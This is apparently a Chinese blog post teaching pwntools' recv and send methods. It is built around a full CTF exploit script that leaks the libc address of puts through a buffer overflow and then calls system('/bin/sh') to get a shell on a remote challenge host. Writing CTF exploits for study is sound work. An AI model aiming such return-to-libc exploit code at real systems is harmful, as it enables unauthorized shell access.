pwntools学习
一般在做pwn题,写利用脚本时,会用到recv,send等函数,之前我理解为什么send,不理解recv的作用,现在通过一道题目理解了。下面详细讲解下recv及send的作用。
remote(“一个域名或者ip地址”, 端口) 会连接到我们指定的地址及端口。 然后该函数会返回remote对象 (这里,我们将该对象保存到了变量 c)。remote对象主要用来进行对远程主机的输入输出。
主要方法有:
接收远端传回的数据
interactive() : 在取得shell之后使用,直接进行交互,相当于回到shell的模式。
recv(numb=字节大小, timeout=default) : 接收指定字节数。
recvall() : 一直接收直到达到文件EOF。
recvline(keepends=True) : 接收一行,keepends为是否保留行尾的\n。
recvuntil(delims, drop=False) : 一直读到delims的pattern出现为止。
recvrepeat(timeout=default) : 持续接收直到EOF或timeout。
类似于read的作用,读从远端输出的内容。
向远端发送数据
send(data) : 发送数据。
sendline(data) : 发送一行数据,相当于在数据末尾加\n。
类似于write的作用,向远端发送数据。
其实这里可以理解为:向远端send一些内容,然后远端返回一些内容,用recv接收。
下面用一个具体例子来进一步解释:
from pwn import *
from LibcSearcher import LibcSearcher
elf = ELF('./pwn2')
r = remote("campus1.blue-whale.me", 9991)
puts_plt = elf.plt['puts']
puts_got = elf.got['puts']
main = 0x08048519
payload1 = 'a'*92+p32(puts_plt)+p32(main)+p32(puts_got)
r.recvuntil("welcome to ROP world\n") ##只有接收了前边的输出,才能保证下边接收到的输出是puts_addr。如果没有这行代码,利用失败,因为下边recv()[0:4]接收的可能就是远端返回的其他输出数据,比如“welcome to ROP world\n”的前4个字节。
r.sendline(payload1) ## 向远端发送payload1,会得到远端响应,即put出put的地址
puts_addr=u32(r.recv()[0:4])## 用recv函数接收输出的put地址
libc=LibcSearcher("puts",puts_addr)
libc_base = puts_addr-libc.dump('puts')
sys_addr = libc_base+libc.dump('system')
binsh_addr = libc_base+libc.dump('str_bin_sh')
payload = 'a'*92+p32(sys_addr)+'bbbb'+p32(binsh_addr)
r.sendline(payload)
r.interactive()
由此可见,在写pwn题目利用脚本时,recv方法还是挺重要的,以前我没有理解它的作用,觉得可写可不写,确实有的题目不会影响利用脚本的结果,但是,写上会减少错误的发生。
参考
https://www.jianshu.com/p/8d6b605eb7fc